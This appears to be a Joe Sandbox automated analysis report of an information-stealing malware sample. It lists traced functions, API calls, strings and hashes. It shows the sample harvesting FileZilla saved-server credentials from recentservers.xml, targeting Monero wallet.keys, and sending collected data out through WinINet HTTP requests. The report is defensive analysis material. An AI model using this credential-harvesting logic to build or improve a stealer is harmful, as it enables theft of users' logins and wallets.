Opcode Fuzzy Hash: db0efcd2fec72845a4164a55d74dce1e2933db7855fd2e4470814ebfb4d2860b
Instruction Fuzzy Hash: F65139B3E082145BE7146E2DEC0976BBBD9DF94320F1A053EEA88D3744E9359C0587D6

Function 01353155 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79b6e2cb6167a1d97949c6d881b8049bb78e1250ea2623cd3bac9fc9e864bd8
Instruction ID: c3126e4d7a5bf2c466957882a7aad655883d119994dc15c4d06f776afc82ef49
Opcode Fuzzy Hash: d79b6e2cb6167a1d97949c6d881b8049bb78e1250ea2623cd3bac9fc9e864bd8
Instruction Fuzzy Hash: A101A7B214C3089FE349BEA9AC925BBF3DCEB14620F55452ED2C3C3B41FEB565004696

Function 00FC9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00FC0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00FD0DBA,00FD0DB7,00FD0DB6,00FD0DB3), ref: 00FC0362
RtlAllocateHeap.NTDLL(00000000), ref: 00FC0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00FC0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00FC03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00FC0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00FC0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00FC0562
lstrcat.KERNEL32(?,profile: null), ref: 00FC0571
lstrcat.KERNEL32(?,url: ), ref: 00FC0580
lstrcat.KERNEL32(?,00000000), ref: 00FC0593
lstrcat.KERNEL32(?,00FD1678), ref: 00FC05A2
lstrcat.KERNEL32(?,00000000), ref: 00FC05B5
lstrcat.KERNEL32(?,00FD167C), ref: 00FC05C4
lstrcat.KERNEL32(?,login: ), ref: 00FC05D3
lstrcat.KERNEL32(?,00000000), ref: 00FC05E6
lstrcat.KERNEL32(?,00FD1688), ref: 00FC05F5
lstrcat.KERNEL32(?,password: ), ref: 00FC0604
lstrcat.KERNEL32(?,00000000), ref: 00FC0617
lstrcat.KERNEL32(?,00FD1698), ref: 00FC0626
lstrcat.KERNEL32(?,00FD169C), ref: 00FC0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FD0DB2), ref: 00FC068E

Strings

<Pass encoding="base64">, xrefs: 00FC045A
<Port>, xrefs: 00FC03C6
password: , xrefs: 00FC05FB
<User>, xrefs: 00FC0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00FC02A4
login: , xrefs: 00FC05CA
profile: null, xrefs: 00FC0568
url: , xrefs: 00FC0577
<Host>, xrefs: 00FC037C
browser: FileZilla, xrefs: 00FC0559

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 27f05156f611885da1b4626f328ce5d16f4c7d81c747ba9783a6aecb7540f5ca
Instruction ID: 2c96cf21ce0421ebe9e8e8e6242aab719a8f3842629f216167723f19450188cc
Opcode Fuzzy Hash: 27f05156f611885da1b4626f328ce5d16f4c7d81c747ba9783a6aecb7540f5ca
Instruction Fuzzy Hash: 63D13971900109ABCB08EBE0DE96FEE7739BF14300F54452DF116A7185EE78BA46EB61

Function 00FB5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FB59F8
StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00DEEA48,00000000,?,00DED6A0,00000000,?,00FD1A1C), ref: 00FB5E71
lstrlen.KERNEL32(00000000), ref: 00FB5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FB5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FB5E9A
lstrlen.KERNEL32(00000000), ref: 00FB5EAF
lstrlen.KERNEL32(00000000), ref: 00FB5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FB5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FB5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FB5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FB5F4C
InternetCloseHandle.WININET(00000000), ref: 00FB5FB0
InternetCloseHandle.WININET(00000000), ref: 00FB5FBD
HttpOpenRequestA.WININET(00000000,00DEEA18,?,00DEE100,00000000,00000000,00400100,00000000), ref: 00FB5BF8

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

InternetCloseHandle.WININET(00000000), ref: 00FB5FC7

Strings

------, xrefs: 00FB5A96
------, xrefs: 00FB5C0B
", xrefs: 00FB5E16
------, xrefs: 00FB5D4C
", xrefs: 00FB5CD5

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6b302953b892f4637819de1d7e9636d55161188f10c1451aee31510c67735ea5
Instruction ID: 8dd5eadd603e9e773ec451425dcddd714fb278e9ab83d500a204dbd6ac9050c6
Opcode Fuzzy Hash: 6b302953b892f4637819de1d7e9636d55161188f10c1451aee31510c67735ea5
Instruction Fuzzy Hash: 21120B7182011DABDB18EBA0DD96FEEB338BF14704F4041ADB10A62091EF787A49DF65

Function 00FBCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00DED7F0,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FBD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FBD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FBD208
lstrcat.KERNEL32(?,00FD1478), ref: 00FBD217
lstrcat.KERNEL32(?,00000000), ref: 00FBD22A
lstrcat.KERNEL32(?,00FD147C), ref: 00FBD239
lstrcat.KERNEL32(?,00000000), ref: 00FBD24C
lstrcat.KERNEL32(?,00FD1480), ref: 00FBD25B
lstrcat.KERNEL32(?,00000000), ref: 00FBD26E
lstrcat.KERNEL32(?,00FD1484), ref: 00FBD27D
lstrcat.KERNEL32(?,00000000), ref: 00FBD290
lstrcat.KERNEL32(?,00FD1488), ref: 00FBD29F
lstrcat.KERNEL32(?,00000000), ref: 00FBD2B2
lstrcat.KERNEL32(?,00FD148C), ref: 00FBD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FBD2D4
lstrcat.KERNEL32(?,00FD1490), ref: 00FBD2E3

Part of subcall function 00FCA820: lstrlen.KERNEL32(00FB4F05,?,?,00FB4F05,00FD0DDE), ref: 00FCA82B
Part of subcall function 00FCA820: lstrcpy.KERNEL32(00FD0DDE,00000000), ref: 00FCA885

lstrlen.KERNEL32(?), ref: 00FBD32A
lstrlen.KERNEL32(?), ref: 00FBD339

Part of subcall function 00FCAA70: StrCmpCA.SHLWAPI(00DE9088,00FBA7A7,?,00FBA7A7,00DE9088), ref: 00FCAA8F

DeleteFileA.KERNEL32(00000000), ref: 00FBD3B4

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: ccfeb911a5b38c69af2d9f6ddaa7b08ac4b754a38859da6cb7cdc4a643c8e451
Instruction ID: 0c8a301ba173365d27be06e0d78081be3ba1cbec3709962a40e848a8b311576f
Opcode Fuzzy Hash: ccfeb911a5b38c69af2d9f6ddaa7b08ac4b754a38859da6cb7cdc4a643c8e451
Instruction Fuzzy Hash: A0E13D71910109ABCB18EBA0EE96FEE7378BF54305F10416CF116A7091DE39BE45EB62

Function 00FBC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00DEC680,00000000,?,00FD144C,00000000,?,?), ref: 00FBCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FBCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FBCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FBCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FBCAD9
StrStrA.SHLWAPI(?,00DEC698,00FD0B52), ref: 00FBCAF7
StrStrA.SHLWAPI(00000000,00DEC758), ref: 00FBCB1E
StrStrA.SHLWAPI(?,00DECDB0,00000000,?,00FD1458,00000000,?,00000000,00000000,?,00DE90E8,00000000,?,00FD1454,00000000,?), ref: 00FBCCA2
StrStrA.SHLWAPI(00000000,00DECD70), ref: 00FBCCB9

Part of subcall function 00FBC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FBC871
Part of subcall function 00FBC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FBC87C

StrStrA.SHLWAPI(?,00DECD70,00000000,?,00FD145C,00000000,?,00000000,00DE8FC8), ref: 00FBCD5A
StrStrA.SHLWAPI(00000000,00DE8E38), ref: 00FBCD71

Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B46), ref: 00FBC943
Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B47), ref: 00FBC957
Part of subcall function 00FBC820: lstrcat.KERNEL32(?,00FD0B4E), ref: 00FBC978

lstrlen.KERNEL32(00000000), ref: 00FBCE44
CloseHandle.KERNEL32(00000000), ref: 00FBCE9C

Strings

, xrefs: 00FBC9C6

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 00af4305355649fb170416991fa31481f2ca5968c7411b3b3dfb3755b3eb232a
Instruction ID: 01c0b1c4cc650ddcdf04610e151e5d69a30fb269f0856e1ee3e655f93b72e9e5
Opcode Fuzzy Hash: 00af4305355649fb170416991fa31481f2ca5968c7411b3b3dfb3755b3eb232a
Instruction Fuzzy Hash: 21E1EA7190010DABDB18EBA0ED96FEEB778AF14304F40416DF10667191EF387A8ADB65

Function 00FC8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

RegOpenKeyExA.ADVAPI32(00000000,00DEAAA8,00000000,00020019,00000000,00FD05B6), ref: 00FC83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FC8426
wsprintfA.USER32 ref: 00FC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FC847B
RegCloseKey.ADVAPI32(00000000), ref: 00FC848C
RegCloseKey.ADVAPI32(00000000), ref: 00FC8499

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Strings

%s\%s, xrefs: 00FC844D
?, xrefs: 00FC837A
- , xrefs: 00FC85A3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0ff311b843c2e9362e18405ba22cb39c948d7cec5a6574c88e31aad67374d1f3
Instruction ID: 2d0839f1ac47048e90e41959b299d8701b6f9a1f6ef9b0de5b88adbc9148c2cd
Opcode Fuzzy Hash: 0ff311b843c2e9362e18405ba22cb39c948d7cec5a6574c88e31aad67374d1f3
Instruction Fuzzy Hash: 4981297191011DABDB28DB50DD96FEAB7B8BF08704F00829DE10AA7180DF756E86DF90

Function 00FC4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4DB0
